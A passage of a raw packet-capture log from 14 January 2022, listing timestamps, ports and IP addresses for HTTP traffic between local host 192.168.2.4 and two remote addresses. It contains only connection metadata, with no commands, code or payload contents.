Jan 14, 2022 09:26:02.453735113 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.453752995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.453913927 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.453933954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.454092979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.454113960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.454263926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.454281092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.454436064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.454449892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.454607964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.454624891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.454783916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.454801083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.454962015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.454977989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.455135107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.455148935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.455308914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.455324888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.455574989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.455598116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.455605030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.455749035 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.455771923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.455914974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.456006050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.456024885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.456178904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.456195116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.456360102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.456379890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.456527948 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.456543922 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.456701040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.456717968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.456881046 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.456896067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.457055092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.457072020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.457230091 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.457245111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.457398891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.457416058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.457575083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.457590103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.457750082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.457766056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.457927942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.457943916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.458097935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.458115101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.458355904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.458372116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.458376884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.458748102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.458765030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.458772898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.458878994 CET	49904	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.458887100 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.459052086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.459068060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.459477901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.459491968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.459655046 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.459671021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.459845066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.459858894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.460027933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.460043907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.460203886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.460216999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.460386038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.460402012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.460562944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.460577011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.460697889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.460874081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.460962057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.461244106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.461327076 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.461369991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.461477041 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.477245092 CET	80	49904	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.479083061 CET	49904	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.479139090 CET	49904	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.480632067 CET	49904	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.481111050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.483767986 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.487602949 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.487823963 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.487962961 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.488111973 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.488733053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.488874912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.488899946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.489087105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.489273071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.489289045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.489376068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.489542007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.489561081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.489711046 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.489729881 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.489892006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.489909887 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.490042925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.490206957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.490252972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.490258932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.490566015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.490583897 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.490784883 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.490803003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.490989923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.491003990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.491168976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.491184950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.491353035 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.491372108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.491523981 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.491544008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.491725922 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.491739988 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.491971016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.492010117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.492018938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.492192030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.492206097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.492381096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.492393970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.492558002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.492574930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.492754936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.492769957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.492913008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.492934942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.493097067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.493117094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.493278027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.493297100 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.493367910 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.493376970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.493603945 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.493621111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.493763924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.493774891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.493783951 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.493942976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.493963003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.494136095 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.494154930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.494307041 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.494328022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.494493008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.494508982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.494678020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.494693995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.494790077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.495266914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.495280981 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.495286942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.495367050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.495377064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.495547056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.495565891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.495718956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.495734930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.495902061 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.495919943 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.496078014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.496097088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.496262074 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.496279955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.496428013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.496437073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.496437073 CET	80	49904	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.496617079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.496634960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.496822119 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.496840954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.496977091 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.496994019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.497164011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.497180939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.497334957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.497349024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.497529984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.497546911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.497705936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.497720957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.497800112 CET	80	49904	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.497844934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.497977972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.497992992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.498193979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.498249054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.498255968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.498437881 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.498459101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.498524904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.498902082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.501230001 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.525619984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.525773048 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.525878906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.525989056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.526122093 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.526143074 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.526299000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.526320934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.526472092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.526487112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.526668072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.526685953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.526845932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.526865959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.526948929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.527041912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.527190924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.527210951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.527371883 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.527390003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.527545929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.527559042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.527720928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.527736902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.527889967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.527904987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.528064966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.528080940 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.528239012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.528253078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.528491974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.528507948 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.528587103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.528594971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.528762102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.528779030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.528937101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.528950930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.529110909 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.529129028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.529283047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.529298067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.529467106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.529484034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.529640913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.529654980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.529812098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.529830933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.529983997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.530003071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.530168056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.530183077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.530330896 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.530344963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.530508995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.530524969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.530674934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.530689955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.530852079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.530869961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.531027079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.531042099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.531208992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.531228065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.531394005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.531414032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.531550884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.531569004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.531728029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.531748056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.531907082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.531927109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.532079935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.532099962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.532263041 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.532283068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.532437086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.532454967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.532609940 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.532620907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.532780886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.532900095 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.533020973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.533118010 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.533185959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.533301115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.533401966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.533503056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.533600092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.533708096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.533756018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.533895016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.534032106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.534044027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.534188986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.534292936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.534313917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.534416914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.534593105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.534612894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.534745932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.534765959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.534928083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.534946918 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.535092115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.535110950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.540374994 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.540425062 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.542905092 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.545454025 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.551140070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.551171064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.551183939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.551188946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.551367044 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.551373959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.551534891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.551553011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.551712036 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.551728010 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.551893950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.551911116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.552069902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.552083969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.552247047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.552264929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.552422047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.552437067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.552596092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.552613974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.552771091 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.552786112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.552865982 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.552937984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.553078890 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.553301096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.553317070 CET	49891	80	192.168.2.4	185.215.113.35
